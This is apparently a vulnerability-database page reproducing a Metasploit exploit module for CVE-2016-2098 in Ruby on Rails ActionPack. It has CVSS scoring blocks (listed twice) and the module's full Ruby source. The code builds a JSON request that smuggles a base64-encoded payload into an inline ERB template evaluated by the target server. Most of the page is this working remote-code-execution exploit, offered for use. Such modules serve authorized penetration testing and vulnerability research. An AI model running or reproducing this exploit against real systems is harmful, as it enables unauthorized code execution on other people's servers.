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metasploitRageLtMan <rageltman@sempervictus>MSF:EXPLOIT-MULTI-HTTP-RAILS_ACTIONPACK_INLINE_EXEC-
HistoryJun 28, 2016 - 7:28 a.m.

Ruby on Rails ActionPack Inline ERB Code Execution

2016-06-2807:28:16
RageLtMan <rageltman@sempervictus>
www.rapid7.com
22

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

This module exploits a remote code execution vulnerability in the inline request processor of the Ruby on Rails ActionPack component. This vulnerability allows an attacker to process ERB to the inline JSON processor, which is then rendered, permitting full RCE within the runtime, without logging an error condition.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => '2016-03-01',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ])

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

7.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L